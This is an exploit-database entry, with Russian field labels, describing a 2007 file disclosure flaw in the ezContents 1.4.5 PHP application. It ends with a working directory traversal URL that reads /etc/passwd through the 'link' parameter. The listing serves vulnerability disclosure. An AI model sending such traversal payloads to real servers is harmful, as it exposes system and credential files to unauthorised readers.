Exploit VisualShapers EZContents 1.4.5 - File Disclosure

[Exploiter]

EDB-ID

30851

Проверка EDB

1. Пройдено

Автор

P4IMI0

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2007-12-05

source: https://www.securityfocus.com/bid/26737/info

VisualShapers ezContents is prone to a vulnerability that allows remote attackers to display the contents of arbitrary local files in the context of the webserver process.

An attacker can exploit this issue to retrieve potentially sensitive information that may aid in further attacks.

This issue affects ezContents 1.4.5; other versions may also be vulnerable. 

http://www.example.com/ezcontents1_4x/index.php?link=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd